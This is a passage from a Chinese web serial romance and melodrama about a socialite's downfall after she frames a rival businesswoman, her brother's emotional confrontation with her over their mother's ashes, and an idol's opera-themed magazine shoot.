作为事件的中心人物,等到一切被查出来,张雨萌会被黑得体无完肤。无孔不入的记者有能力把她做过的每一件不光彩的事都爆出来,包括她幼儿园时期欺负同班的小女生。 隐私是人的另一层皮肤。现在,张雨萌已经感受到自己的皮肤即将被活生生地剥离。 疼痛感应该是错觉,却如此真实强烈。张雨萌摸了摸自己的脸,指尖不住颤抖。 她立刻拿出手机,准备购买逃往别处的机票,却没料房门被敲响了,警察的声音从外面传来。 “张雨萌,有一桩案子需要你协助调查,请开门。” 【您已被限制出境。】 张雨萌打开手机,手机屏幕上跃出这样一条提示信息。 张雨萌傻眼了,她愣了好一会儿才走到玄关,打开门。 警察身后是一群记者,无数台摄影机对准了这个面容苍白的女人。 “张雨萌,是你设计陷害许愿吗?请问你的目的是什么?” “你是为了什么?因为许愿比你优秀吗?” “有人爆料,说你毁掉了张家,这个消息属实吗?” “请问你曾经真的校园暴力过那些同学导致他们跳楼自杀吗?这件事你知情吗?” “上次自杀事件后你没有反省吗?为什么要针对许愿?” “你做这些事你光彩吗?” “盛世的盛总已经打算起诉你了,傅氏的傅总也打算起诉,你怎么看?” 第713章 恨不能冲上去掐死她 张雨萌愣愣地站了很久,然后才撩起丝巾,遮住自己的脸,主动走向几名警察。 “带我走,快!”她哑声开口,语气中带着哀求。 她自以为毁掉一个人能够很简单,可偏偏忘记了那人是许愿,设计陷害许愿这个决定让她落入了更深的陷阱。 她费尽心机隐瞒的一切,都被揭开了。 她披了二十多年的人皮被活活扒去,露出丑陋的内里。 她想要得到的一切,已经全都失去。 张雨萌被警察从酒店带走的新闻传遍了网络。 很快,她做下的那些事也被记者一一曝光。 原来这件事情全都是张雨萌做的。 答案如何,网友们心里自有评断。 而最离谱的是记者挖出了张雨萌的身份真相,张雨萌并不是张父的亲生女儿,是张父跟自己嫂子出轨生下的孩子,张雨萌的身世也被公之于众。她早就知道自己的身份,所以一直在暗中转移财产,争夺股份,也因为愚蠢害了张家公司的股票不停暴跌。 {真没想到张雨萌会是这样的出身,本就是父亲背叛自己哥哥跟嫂子出轨生下的孽种,怪不得能做出那么多破廉耻的事情,现在看来真是跟她那父亲一模一样!} {张雨萌对付许愿就是因为温栩栩吧!因为她知道温栩栩跟许愿关系好,所以想要将许愿拉下马才编写了那些没有任何事实依据和证据的八卦!她这就是要毁掉许愿啊!} {怎么能恶毒成这样!} {喜欢过张雨萌的人天都塌了!} 无孔不入的记者把这些肮脏的内幕一层一层揭开,展示在大众面前。 舆论瞬间爆炸,唾沫星子淹没了张雨萌。 本来都在心疼许愿。但却被张雨萌的丑闻挤下了热搜榜第一的位置。 大众喜欢耸人听闻的故事,喜欢狗血的豪门内幕,喜欢反转不断的高能情节。这些要素,张雨萌的丑闻都具备了。她不火,谁火?她不挨骂,谁挨骂? 她的社交账号被辱骂声充斥。世界上最恶毒,最粗鄙的字眼,都能在她的评论区里找到。 她的名声,毁了个一干二净。 当然,她在别的圈子里也很难混下去。她的名声就摆在那儿谁也不会主动去接近她。 曾经张雨萌风光无限,前程似锦,数天后已身陷囹圄,一败涂地。人生起起落落,变化无常,真是难以预料。 张雨萌以为自己会一直在拘留所里待下去,直到案件开庭审理的那一天。 但她万万没想到,不过三天自己就被保释了。 是父亲吗? 不应该。 自从张家被毁后他就躲起来不敢见人。又怎么可能来见她? 更何况他也没有钱了,她的父亲也只知道索取,何曾对别人付出过?像她那样自私自利的人,知道女儿落魄了,怕是跑得比谁都快! 张雨萌摇摇头,排除了这个猜测。 “别猜了,是张总让我来保释你。”等候在拘留所门口的律师走上前,递给张雨萌一顶帽子。 “谢谢。”张雨萌立刻戴上帽子,压低脑袋。她知道,附近一定有记者在拍。 “我哥让你来保释我?”坐进车里,她似笑非笑地问。 “是的。”律师发动引擎。 “他还是老样子,懦弱,心软,对敌人总是留一线。”张雨萌看向窗外,呢喃道。 她摇摇头,嗤笑了一声,不甘与怨恨全都写在脸上。 律师透过后视镜睨她一眼,说道:“你别误会,张总把你保释出来是为了办理转让财产的相关手续。” 张雨萌愣住了。 “你没忘了那份对赌协议吧?此前你找张总接了一大笔钱说要在规定时间内还给张总,否则就会将所有资产都抵给张总。张总一直没能收到你的打款,所以需要马上接收你的财产。你的案子警察还在深挖,庭审不知道什么时候才能开始,张总等不了那么久。” 律师摇摇头,也嗤笑一声,眼中全是鄙夷。 “办好手续,你将在A市总缉查局进行拘押和审判。因为你这次诬陷的是许愿,所以很大可能会被判处终身监禁。” 律师看向前方,慢悠悠地说道:“等你的案子查清了,死刑大概也恢复了,是有人特地为了许愿才开始为恢复死刑而争执,我是委员会的成员,这是内幕消息,我只告诉你。” 律师透过后视镜,对张雨萌眨了眨眼,仿佛在分享一个有趣的秘密。 张雨萌并不觉得有趣。一股寒意缓缓侵袭她的身体,让她体温骤降,四肢冰冷。 车子往前开了一段距离,律师又道,“对了,你的助理已经被抓了。她好像掌握你很多秘密?你说她手里有没有你曾经校园暴力同学以及杀人的证据?” 张雨萌把自己的双手死死握在一起。 “看样子是有的。”律师只扫了一眼就得出了判断。 他拿出手机,把这个好消息传递给自己的老板。 张雨萌猛然伸出手去箍律师的脖子。若是真的被带去缉查局她只有死路一条。 除了杀人灭口,中途潜逃,她想不出别的办法。 一块防弹玻璃以极快的速度弹起,隔绝了驾驶室与后排座。张雨萌的两只手被玻璃夹住。 巨大的压力几乎碾碎手骨。 “打开隔离窗!我的手快断了!”张雨萌痛得尖叫。 律师不以为意地笑了笑,继续开车。面对穷凶极恶的罪犯,他从来不会掉以轻心。 张雨萌疼的用脑袋一下一下撞击玻璃,哭到双眼发红。 早已熟知她本性的律师自然不会心软,开着汽车回到缉查局。 路上,张雨萌哭得昏睡过去,失去了反抗能力。律师这才打开隔离窗,找来一根绳子把人绑住。双手青紫了一圈,骨骼却没断,还能用。 张雨萌的哥哥张宇峰见到了张雨萌。 “过来签字吧。”没有任何废话,厚厚一沓财产转让文件被他抛到桌上,发出砰的一声闷响。 会议室里坐满了股东,每一个人都面色阴沉,怒目而视。 这是要让张雨萌签署股份转让合同。 张氏早就被张雨萌毁了,这是张宇峰重新创建的公司,且也因为张雨萌这次诬陷许愿的事给张氏造成冲击,所以股东们恨死张雨萌了。 若非有律师看着,股东们都恨不能冲上去掐死张雨萌。 第714章 你是公主还是恶魔? “签吧,别磨蹭!” 一位大股东把钢笔扔到张雨萌面前。 张雨萌面容苍白,眼圈青黑,一副憔悴至极的模样。看着这些转让合同,又看了看面色阴沉的众人,她忽然咧开嘴,嘶哑地笑出声来。 笑意未曾浸入她阴冷的瞳孔。 她坐在长桌对面,与张宇峰离得很远,却像一条吐着信子的毒蛇在蜿蜒爬行,缓缓靠近。 张宇峰也笑了,手掌抬起,摁住了放置在一旁的,被黑色布料包裹的一个方形物体。 “张雨萌,我把我妈带来了。”他打开黑布,取出里面的骨灰盒,端端正正摆放在自己面前。 阴冷的笑容瞬间凝固,瞳孔缩了缩,发出惊恐不安的光。 张雨萌藏在衣兜里的手骤然握紧。 明明身处会议室,她却觉得自己仿佛已坐在法庭的被告席上,正在接受审判。 直面她的,是母亲的灵魂。那双温柔如水的眼眸曾经陪伴她成长,始终注视着她,给她鼓励,赠她勇气,为她塑造自尊与自信。 但它们现在会放射出怎样的光?失望?责备?或者厌恶? 自己为什么会变成现在这副模样? 母亲的身影仿佛伫立在虚空中,朦朦胧胧,俯视着自己。张雨萌呆呆地看着那个骨灰盒,片刻后猛然低下头去。 “我妈在看着你,张雨萌。”张宇峰盯着张雨萌藏在衣兜里的那只手臂。 他派了人全天候监视张雨萌,自然知道她找人藏了瓶硫酸和匕首,她想在签署合同的时候跟他们同归于尽。 这个女人已经疯了。 疯得很彻底。 警察就在外面等着,随时可以进来抓人。 可不到万不得已,张宇峰不会走到那一步。 他把母亲带来,试图唤醒张雨萌残留的最后一丝人性。 他永远不会让自己失去做人的底线。 “在我妈的见证下,签字吧。”张宇峰扬了扬下颌,语气里带着遗憾:“不要一而再,再而三地让她失望。” 张雨萌藏在衣兜里的手臂颤了颤,头始终不敢抬起。 张宇峰叹息了一声,缓缓说道:“张雨萌,其实我妈早就知道你不是她的亲生女儿,她一直都知道你是父亲和大伯母的孩子,她养着你只是因为同情你,她对我说你的出身不是你能做选择的,但她希望能让你清清白白的活着。” “母亲确实骄纵你,将你看做亲生女儿,我也将你看做亲妹妹,我和母亲自认待你不薄,母亲甚至在为了给你诉讼求情的路上车祸身亡,你那时在干什么?” “你还在网络上大肆宣传许愿和温栩栩的黑料,你甚至没能见到母亲最后一面,你跟不知道母亲临终前说的话。” 张雨萌低垂的头猛然抬起,又立刻压下去,手臂颤得厉害。 她几乎不敢听张宇峰接下来的话,她觉得后面的话可能会让自己痛苦一生。 “她说她做错了,她说是她没有起到一个好的榜样不是一个合格的母亲所以才让你学坏了,她把所有的责任都揽到自己身上,她的遗嘱都是将财产全部都留给你,甚至还告诉我让你继续照顾你。” 说到这里,张宇峰又笑了。 “我的亲生母亲临终前还在想着我父亲出轨的私生女以后要如何生活,却没有给我这个亲生儿子留下几句话,只让我好好照顾你。” “母亲从小就说你漂亮优秀,你是张家的小公主,她说你就像是香水,早晚有一天会散发出最独特的香气。可你看看你都做了什么呢?你是公主还是恶魔?”张宇峰把骨灰盒推向坐在对面的张雨萌。 “你敢让我妈闻一闻你现在散发的气味吗?你后面不知悔改的又做了什么,她全都知道。” 张宇峰没有明说,但他认为张雨萌能听懂。 张宇峰的母亲最初因为张雨萌的事情闹过吵过,可她那时候那么小,她也觉得张雨萌可怜,所以养在身边,渐渐的把什么都给了张雨萌,张宇峰没有的张雨萌也一定会有,她完全成了张家的小公主。 也因为张母对她太过疼宠才宠的她坏了性子,她可以为了张雨萌去求许愿去找傅嘉誉理论只为了给张雨萌留一条生路。 她甚至在车祸后最后想到的都是没了自己还有谁会疼张雨萌。 她深知自己的丈夫对张雨萌没有那么多的爱,而自己的儿子明白张雨萌的身份又因为张雨萌连累张家,张宇峰更不可能善待张雨萌,所以她挺到见张宇峰最后一面让他好好照顾张雨萌。 她给了张雨萌很多很多的爱,却唯独没有教育好张雨萌怎么做一个合格的守法的三观正的公民。 她在离世前是后悔的,她希望自己的女儿没有做错事,她希望自己的女儿一直天真烂漫而不是被全网谩骂,那是她临终前最后的愿望了。 可这愿望实现了吗? 没有。 那时候张雨萌因为网络暴力甚至没有去祭拜自己的母亲,她躲起来藏起来不敢见任何人,直到母亲委托的律师找到她得到了母亲最后的财产张雨萌才知道张母有多爱她,她放声痛哭悔恨自己没有去送母亲最后一程。 现在的张雨萌,还能散发出香气吗?张宇峰带了张母的骨灰盒,离得这样近,母亲能闻到的,全都是这些让她失望透顶的气味。 终于,张雨萌慢慢把颤抖的手臂从口袋里抽出来。 她不想继续做一个烂到骨子里的人了。 张雨萌的手空空如也,什么都没拿。紧紧握着的装满硫酸的瓶子在最后一刻松开。她抓起那支钢笔,在一份又一份转让合同上签下自己的姓名。 她没有翻看合同仔细去寻找隐藏在文字里的陷阱。 母亲在看着她,她只能把最好的一面拿出来。 签完厚厚一沓财产转让合同,她把一份U盘放在桌上。 “这里面有关于张家的许多合作资料,是母亲留给我的。”她低垂着头,不敢去看那个骨灰盒,嗓音沙哑地说道:“我还有部分收购的股份也一并转给你,这份财产不在协议之内,但我已经不需要它了。去准备合同吧。” 第715章 你是其中最无辜的人 张宇峰的舅舅本来还在闭目养神,等听到这话猛然睁开眼,朝张雨萌看去,表情十分错愕。 他没想到这个女人会做出有违本性的决定。 张雨萌的父亲是贪婪的恶狼,抓住猎物之后恨不能敲骨吸髓。 把耗费巨资收购的股份无偿转让给张宇峰,张雨萌怎么舍得? 张宇峰却并不感到意外,也没有拒绝。 他冲坐在一旁的助理点点头。 半小时之后,一份转让合同摆在张雨萌面前。她照样没有细看,直接找到签字的地方落下姓名。 做完这一切,她站起身离开,推门的一瞬间终究还是没忍住,回头深深看了一眼。 眷恋的目光落在骨灰盒上,又仿佛被烫伤了一般匆忙移开。 张雨萌推开门走出去。两名警察迎上来,给她戴上手铐,口袋里的硫酸瓶和匕首被搜走,非法制造危险物品,罪名又多加一条。 大门即将合拢的一瞬间,张雨萌又回头看了一眼,忍耐许久的泪珠终于落了下来。 “妈,如果你还在,我不会变成这样。如果你还在,我一定当一个好人。”她大声喊了一句,嗓音里带着哭腔。 大门合拢,隔绝了喊声。 张宇峰用黑布慢慢包好母亲的骨灰盒。 舅舅欣慰地说道:“你现在也学会攻心了,不错!” 张宇峰笑了笑,没有说话,垂落的发丝挡住了满脸的疲惫。 “你以后准备怎么经营公司?趁大家都在,你跟我们聊聊。”舅舅鼓励道。 “我不准备管理公司了。”张宇峰摇头道:“发生这么多事,张氏的东西我也不想再碰了,我打算重新创建新的公司,至于张氏我会交给职业经理人去打理。你们有好的人选可以推荐给我。” 各位股东面面相觑,却也没有人阻拦。 毕竟张家最近确实发生了太多的事,先是总公司破产,再是张父欠下巨债,张母也车祸身亡,张雨萌又因犯罪坐牢,张宇峰不想接手张氏想必就是不愿再想到这些事了。 他们当然可以理解张宇峰的心情。 舅舅连连叹气:“也是我那妹妹一根筋,很久前我就劝过她,不是亲生的是养不熟的,可她偏偏觉得张雨萌可怜,为了张雨萌一直忽略你。可张雨萌有良心吗?你母亲的葬礼她都没有出现,简直狠心。” “若不是一定要养着张雨萌,也不一定给张家带来这么多灾祸啊。” 舅舅面有惆怅:“你不想管理张氏那就不管理,稍后我们会把候选人报给你,你来做决定。” 张宇峰点点头,捧起母亲的骨灰盒,“散会。” 股东们因为今天的事心情不错说说笑笑的离开会议室,但前脚才踏出去就见到走廊外坐在休息长椅上翻看文案的女人。 只这么一眼,就有些移不开眼。 对方明明是坐着的,身上的衣服并不是黑白灰的颜色,而是很亮眼的浅粉色贴身长裙外搭一件米白色短搭外套,明明是鲜嫩的颜色却并不显浮夸。 这颜色挑人,她穿在身上却极为合适,负责白皙在灯光照射下是牛奶一般的颜色。 听到声音,她收起文件递给身边的助理,这次的助理是一名女性,是她从盛华秘书科挑的人,算是左司手把手带出来的,左司的学生,现在左司也好薛酒也好都忙着工作,所以左司就安排了沈允贤跟在许愿身边随时待命。 大概是知道许愿身边跟着刑从景的,所以没给许愿安排保镖。 她抬头,目光淡淡的瞥了眼众人,股东们顿时觉得心有点痒,却又被她这样清冷的眸光看的有那么点发怵。 他们虽然没有跟许愿合作过,但也知道眼前的人是声名鹊起的盛世许总。 有人想要上前说句话要个联系方式,存着以后可以合作的心思,沈允贤上前一步面带微笑的拦在众人面前,面上带着温和的笑意收了递来的名片,代替许愿交涉。 到底是左司教出来的学生,情商高智商高,她替了许愿跟这些人交谈也没让人觉得不快,只觉得许愿的助理也是这般聪慧,怪不得盛世在她手下能有那么大变化。 股东们笑呵呵的都带着喜色走了。 沈允贤冲许愿微微颔首收起了那些名片。 盛华从不低看任何人,算是盛华的公司标识了。 不过那群人离开前却见到张宇峰出来跟许愿交谈,一群人这下走不动了。 好家伙,她们主动上前许愿都没给他们点面子,现在张宇峰出来许愿就肯见了?总不能是两人之间有了暧昧吧。 有人冲张宇峰的舅舅努努嘴:“哎,你外甥跟许愿是什么关系啊,别是谈过,真要这样那张家以后好处可断不了的。” 张宇峰的舅舅听了只觉离谱:“我可不敢让许总跟我外甥有什么关系,你可别忘了许愿有多少追求者,就是跟盛景炎订婚了那追求者也不断,傅氏傅总就不说了,那姜明烨不也追着呢?隔壁省还有个宋观鱼,更多的我们都还不知道呢,真跟许愿又联系张氏要被这群人祸害成什么样了,我劝你啊还是少做点梦。” 听了这话股东们果然老实的。 能抱上许愿大腿固然重要,但也要看哪个抱法。 跟许愿暧昧?许愿那些爱慕者就能撕了他。 股东们已经走远了,张宇峰看到许愿并不觉得奇怪,因为张雨萌可能会带管制刀具在会议室发疯的事还是许愿告诉他的。 坦白来说,张宇峰对许愿没有太好的印象。 总体来说张家的覆灭跟她和傅氏都是有关系的。 因为张雨萌得罪的事温栩栩和傅嘉誉,那也就代表得罪了傅氏和许愿,所以张氏总公司破产也算是应得的,他自己心里清楚,只是到底还是过不去心里那道坎罢了。 “许总来这里有什么事吗。” 许愿面色平静的打量张宇峰。 “我知道张家的事跟张先生没有多少关联,张家落得现在的下场有张雨萌的原因,有你父亲和母亲的原因,但你是其中最无辜的人。” 第716章 她该活在阳光下永远快乐 说完这句话许愿停顿了下,许愿身旁的沈允贤已经将文件递过去。 “听说张先生已经创建了新的公司,许总在您公司的基础上选择了一份算是互利共赢的合同,许先生可以看一看。” 说话的是沈允贤。 张宇峰创建的公司是游戏公司,许愿直接拨给了他一整个团队,饶是张宇峰看到这团队的资料都有些惊愕。 说是合作,不如说是扶贫。 “许总如果想挑选合作对象大可以选择其他人,何必选我?”张宇峰疑惑。 沈允贤都没有思考,面上带笑道:“我们许总经过几方考量的,张先生以前在国外留学就学习的是这类相关的,且我们许总有心做游戏但也没那个时间,所以就近挑选了张先生,当然张先生也可以当做是另类的补偿。” “毕竟张先生算是张家最无辜的人了,你值得这份合同。” 说白了就是扶贫。 张宇峰明白了沈允贤的意思,正欲拒绝,许愿抬眸淡淡道:“不必记着拒绝,我选择你自然是你占有优势,我只希望游戏真的做出来后你们挑选的代言人是温栩栩。” 张宇峰明白这是许愿给的机会,她不是随便挑选的,是知道他有能力,且又因为张氏被连累,所以在这基础上给了补偿,现在又提了以后让温栩栩代言,又算是另类的交换合作了。 他不是傻子,送上门的生意不可能推掉。 张宇峰同意合作。 许愿倒也没说更多,只是转身离开,张宇峰却在她离开前开口:“我这边会上网说清楚这次有关许总的黑料跟张雨萌有关。” 这算是投诚。 许愿敛眉,果然算是聪明人,虽然手里没有什么她能看得上的筹码,但已经是最大程度的表忠心了。 只是可惜了,被张家人连累了,否则依着张宇峰的头脑能走的更远。 …… 昨天网络上骂许愿骂的有多狠,今天道歉的声浪就有多高,而张雨萌也再度被推上热搜骂声一片。 {之前有人说是张雨萌干的我是真没敢信啊,她胆子怎么就这么大呢,随便往许愿身上泼脏水!那是谁,那是许愿啊,她是真的……太离谱了!} {我觉得张雨萌大概就是嫉妒,因为嫉妒许愿和温栩栩,觉得许愿是温栩栩的靠山,所以觉得许愿倒了就没人捧温栩栩了,她做这件事前怎么不动动脑子呢,许愿怎么可能轻易倒了?就她编的谎话泼的脏水那都不是真的啊,只要澄清了惨的不还是她?而且别忘了许愿身后有多少人,真是蠢到一定地步了。} {说起来,张雨萌当初但凡对自己粉丝好点,有那白富美粉丝在张雨萌的资源就差不了,可偏偏她就是又蠢又坏,没了粉丝还继续作妖。} 网络上已经全都是对张雨萌的谩骂了,很多跟许愿关系好的人都站出来为许愿澄清,出动的几乎都是圈内大人物,甚至于宋观鱼昨天就已经为了许愿连着发了好几条微博,为许愿起诉了那些造谣的营销号,比盛景炎都快一步,姜明烨也在第一时间帮许愿说话,虽然没有帮许愿起诉八卦记者,却是拿到了证明许愿的一手资料。 网络上的看客都呆了。 就这,你说许愿没有真材实料?没有真材实料能让这么多人追捧吗,这群人也不是傻子啊。 姜明烨甚至直接开口提到自己追求许愿就是因为许愿足够优秀,他甚至嘲了句,她漂亮优秀聪明睿智,我不追求她难道追求你吗。愣是给人堵的一噎。 温栩栩这两天一直在家里,她不跑活动处于休假状态,连着睡了两天,等醒来后才知道网上因为许愿闹过一场了。 温栩栩赶紧给许愿去了电话,知道事情已经解决了才算放下心了。 才挂断电话温栩栩就伸了伸懒腰。 她是真的睡饱了,甚至觉得自己脸都要肿了,照了照镜子才感觉到自己没多少精气神,脸色也有些苍白,她脸上贴了片面膜,这时候也懒得做饭了,直接叫了外卖,她心想等需要揭面膜的时候外卖应该也到了。 没等多久门铃响了。 温栩栩没想到会这么快,跑过去开门,打开门就对上男人那张雌雄莫辨精致无双的面容。 是唐文晞? 温栩栩顿住,正要问句他怎么在这里,却见唐文晞看到她像是松了口气。 “你……” 温栩栩正要开口,就听唐文晞问了。 “我打你电话一直没有人接听。” 温栩栩有些尴尬的摸了摸鼻子:“不好意思,有点太累了所以一直在睡觉,手机没电了所以关机了。” 唐文晞送她回来后因为临时有事要去国外参加会议,忙完工作后再联系温栩栩却已经联系不到她人了,唐文晞本意也是不想让许愿知道暗网的事所以才没联系许愿,他推了别的工作特地调用私人飞机来A市,就是担心温栩栩出事。 好在只是手机没电关机,没有真的出什么事。 “你没事就好。” 唐文晞不希望温栩栩出事,他知道自己是什么样的心理,他几乎是将温栩栩看做是自己幼年死去母亲的……救赎。 他没能拯救自己的父亲和母亲,但他希望能够拯救像母亲那样险些沉溺黑暗的温栩栩。 她该活在阳光下,永远自由永远快乐。 而不是被困在暗不见天日的无法拯救的深渊。 唐文晞看向她时眼底都藏着些许不易察觉的情感,温栩栩有些看不懂了,她想问的,但下一秒就接到了董婉婉的电话,董婉婉是之前合作过的造型师摄影师。 “栩栩!救命啊!你能不能带你们女团来救个场拍个杂志,原定的艺人耍大牌我一气之下就说不用她了,现在主编让我找个比她咖位大的压她呢,救救孩子!” 温栩栩愣了下:“什么类型的杂志?” “朋克类型,我记得你不是在女团综艺里面有过这种妆造吗,出这造型绝对没问题的,栩栩,拜托啦,来帮忙救个场吧!” 第717章 一个眼神就让你丢盔弃甲 董婉婉极力想要说服温栩栩来拍摄杂志,温栩栩自然听出来她有多着急了,略有些无奈开口到啊:“我这就联系佳安萌萌她们,你们先准备好衣服,不出意外的话我们马上到。” 董婉婉赶紧道谢。 这真是救她于水火了。 今天请来的艺人说火倒也没有多火,也就是二线中的顶流吧,偏偏脾气大特别爱耍大牌,董婉婉的小徒弟不就是倒水的时候给她倒了温水吗,这就开始找茬了,一杯水就这么泼到她徒弟身上,又是抨击造型师做的造型不好,又是抨击衣服太素拍不出她的美貌,把能挑的都挑了个遍,董婉婉气的不行,牛脾气一上来就说不拍拉倒。 对方立刻恼了,直接到休息室理也不理董婉婉,还真就不拍了。 主编也知道这事儿董婉婉是真委屈,但那有什么办法呢,杂志还是要拍啊,就让董婉婉联系个救场的艺人来先把杂志拍了,总不好这个月杂志开天窗。 谁料董婉婉是真硬气啊,道歉是不可能道歉的,找同等级咖位的更不可能,她就是要联系温栩栩狠狠的压对方一头。 你火?你再火能有温栩栩火吗?你有后台你能有温栩栩后台厉害吗!温栩栩背后是许愿是黎氏!能是什么路边猫猫狗狗都能碰瓷的吗。 而且最重要的是温栩栩女团里的这些成员除了已经被踢出局的张雯悦外哪个不是二线艺人?哪个不是流量?董婉婉这还一叫叫一群,更不要说其中有个温栩栩,那是完全碾压耍大牌的二线艺人了。 董婉婉就是想好好出一口气。 温栩栩也不是随便答应的,她毕竟是女团的队长,知道自己女团队员的行程,虽然打算解约但女团还没退呢,她也不是那么不负责任的队长,说是一年就是一年。 她更知道董婉婉所在的杂志社算是国内四大杂志之一,这资源算不错的。 给杜佳安她们联系好后温栩栩才记起唐文晞在自己这里,她顿了下:“我临时有个工作,唐先生……” 话都还没说完,唐文晞就开口:“我跟你一起去。” 温栩栩有点更茫然了,但也没拒绝唐文晞。 这次拍摄的团队杂志是国内比较有名的一线杂志封面,温栩栩的助理和经纪人也已经赶过去了,到了拍摄地点,温栩栩关了手机交给助理小和保管。 这次本来该拍摄那二线艺人的单封,却因为她作妖变成了温栩栩整个女团的团队封面,杂志主编个人很欣赏温栩栩,这次如果不是温栩栩带着团队赶来救场,这次说不定真要开天窗要去跟那二线道歉,主编连连道谢,并称也想多拍摄一张温栩栩的单人内封,这可是免费送上门的资源。 经纪人笑呵呵的应下,温栩栩已经上了妆,身上穿的是飒爽的街头朋克风,此刻懒洋洋的缩在沙发上休息,稍一动作就露出半截细嫩白皙的嫩腰,活脱脱一个吸人阳气勾人心魂的妖精。 “栩栩,杂志主编打算给你多加个单人内封,等你拍完团队杂志后换身衣服再拍一组照片。” 温栩栩嘴里喊着根奶味的棒棒糖“唔”了一声算作应了,有点像没睡醒的样子,有点迷糊,眼睛也有点红,却也带着撩拨味道,这么瞧着道真有种涉世未深小狐狸崽子的味道,活像是天真和媚混到一处去了。 若是张雯悦还在,此刻肯定要愤愤的跺脚小声道,“都那么多资源了还给她资源!她还需要什么内封啊!”,然后团队内再争吵一波,现在没了张雯悦倒是平和多了。 温栩栩摇晃着手中的糖罐子,拨弄里面散发波澜的透明糖纸发出“沙沙”的声响,杜佳安还有点激动,她们虽然出道了但杂志拍的真的不算多。 杂志拍的进度不慢,出道也有段日子了,她们从新手小白也过渡成了真正的艺人,虽然还是有些青涩但也学会跟摄像老师和剧组人员沟通。 一上午时间终于拍完杂志封面,温栩栩多加了个内封,杂志主编应该是看过温栩栩拍摄的那部《云雾》所以让人给温栩栩画了个旦角大青衣的妆容,搭配的戏服更是缀满东珠,戴上华冠整个人上完妆当真是满室生辉。 “青衣啊。”温栩栩眼尾低垂拉长声线轻笑一声,那股子媚意自然而然从身上散发出来,赫然就让人穿越到民国年代仿佛眼前站着的人就是当初凭借一曲好嗓子出名的青衣名角。 她也明白这主编是想顺便蹭一蹭《云雾》的热度了,倒也不是坏事,刚好给《云雾》再来一波宣传了。 董婉婉颇为赞叹道:“主编本来还发愁谁能做这主打戏曲相关的内封模特呢,现在却是一点都不用头疼了。”确实是这样,毕竟一开始主编也没想到能请来温栩栩啊,也是董婉婉虎啊,一通电话就打到温栩栩这里了,温栩栩也是厉害,还真就答应了。 温栩栩不知道董婉婉心里想了些什么,透过镜子眼尾微微上挑,那盈盈的美目流光畔珠撩人心扉,造型师心尖儿就跟被小刷子挠了一把似的有那么点口干舌燥。 要不说是美人呢,人一个眼神就让你丢盔弃甲。 董婉婉还是在圈子里有些年头的老人了,这都把持不住! 温栩栩画这戏曲妆并不在公用的大休息室,方才拍摄团队封面主编也没现身,这会儿拍杂志内封他倒是看重起来特地到现场。 只瞧一眼就眼前一亮让人赶紧布景打光布景拍摄。 “老师可以想象一下自己是整个京城戏院中最红的大青衣,你在台上所有看客皆为你而来,台下有一人是你放在心口的情人,你在表演时眼含几分春意,想象一下这副场景,我们拍一张媚一些的。”董婉婉调着焦距嘴里提点。 温栩栩在临时搭建的戏园虚作了个动作,手中握扇置于胸前,另一手捻起兰花指,动作优美又露出天鹅颈,犹如那奔月嫦娥又如那飞入尘世的秀美天仙,而翘起的食指与小指却带着浅淡的上扬弧度,连着动作都是带着媚意的。 第718章 有温栩栩,稳了! 温栩栩在对方提醒下一甩水袖,下一秒不过是清唱一句便又轻笑一声,手上动作收放自如,明明是上个妆只拍个杂志照的,却偏被温栩栩演出个真青衣来。 一步一步的都在撩人,那甩袖时的细腰,那看向台下唇角勾起的笑意还有眼底自含的似水深情,这任谁瞧了去不会动心?怕是要他们的命都能捧着匕首往她手里递呢。 只这么一眼便觉得古代那些被大街小巷吹嘘的青衣也不外乎是这副模样了。 董婉婉跟主编小声边惊叹边赞赏,“等这期杂志售出后估计又要有这类的本子来找温栩栩了,她果真天生就该吃这碗饭的。” 在娱乐圈见多了美人的造型师们可不好相处,能让他们跟你交好要么你是真长得好看让他们有那么点动心,要么就是以后会有利益牵扯。温栩栩这样的却是两者都占了。 “闫导那部民国剧里的女三号不就是这么个角色?我觉得温栩栩能试试。”董婉婉提了一嘴,这会儿就兴起给温栩栩推资源的心思了。 主编还在愣神,“闫导哪个剧?” 董婉婉小声跟主编议论,“闫凯旋导演民国题材的《九月》,这会儿都拍的差不多了,但那不是之前的女三号因为犯事儿被抓了吗,现在不少人都盯着这个角色想进组呢。” 闫凯旋一直都拍电视剧,还是那种拍的几乎都成了高收视率被上头力捧的剧,他拍出的剧国民度是很高的,而且剧本严谨剪辑不拖沓也是以快节奏著称,能三十集完结的剧绝对不拖到四十集。 一位有实力有节操有后台的中年导演。 这就看出来他的组绝不好进,不知道多少二三线小花乃至一些一线流量小花都想拍这部剧转型,有句话怎么说的?拍了闫凯旋的剧管你是流量还是爱豆,通通都能算半个实力派演员。 足以见得闫凯旋的能力了。 主编手指摩擦着下巴咂舌,“我听说《云雾》之前那女三的角色也是因为犯事儿被删除了镜头找温栩栩救场,她这是什么运气?碰到的都是能救场的大导的戏,连老天都帮着她了。” 但也不一定是老天帮温栩栩,说不准也是帮导演呢,毕竟这么贴角色还演技好的女演员可不好找啊。 董婉婉心道,可不是吗,许是老天都格外偏爱这样的人。 董婉婉跟杂志主编关系极好,又跟主编提起自己想推荐温栩栩给闫凯旋拍《九月》,所以董婉婉打算把照片发给闫导主编也没拦着,只盯住她别在杂志上线前曝光这组图。 都是老搭档了,这点信任是有的,不过还是小心嘱托句。 董婉婉摆摆手就一股脑儿的给闫凯旋把照片都发过去,也不忘说不能外传这事儿。 …… 《九月》剧组。 闫凯旋这几天脾气一直不好,本来这戏已经这两天就该杀青了,女三号的戏就差那么几场了,结果女三号整出那一堆破事儿,好在没真正杀青没进入后期剪辑。 但闫凯旋是真的发愁,这女三号跟男主角的戏份还挺多,百分之七十都是跟男主角的戏,男主角是一线流量实力小生陆墨,陆墨跟《九月》剧组就签了三个月,现在距离男主角的档期还有不到半个月的时间,现在他还没找到合适的女三号角色呢,再拖下去男主角都要去进别的组了! 可这角色,说白了这角色在他眼里可比女主角女二号重要的多,但碍于上头只能让那一档派为人民大义的这一类角色任女主角,所以他才把《九月》中他最爱的角色压成女三号,哪怕女三号死后那也是所有人心中的白月光朱砂痣。 这个角色背负了两个身份,敌军以为她是他们派到对面的间谍,而对面又以为她是他们的人,算是双面间谍。 她在这民国剧中在戏园初登场,后面又有她这青衣打扮与人虚与委蛇,后又有男装入特训营的打斗戏份,剧本中对她是如何描写的? “声如婉转莺灵,雅如空谷幽兰,艳似血池红莲,媚似醉人烟霞,飒如月下风影,气如松柏青竹。”这样的人物哪是能随便找个人就能演的! 随便找个人播出后还不被骂死?观众又不是瞎子?也不是谁都能当那白月光朱砂痣的。 他能不愁吗! 闫凯旋有些颓丧满脸愁容的抽烟,脚底堆满烟头。 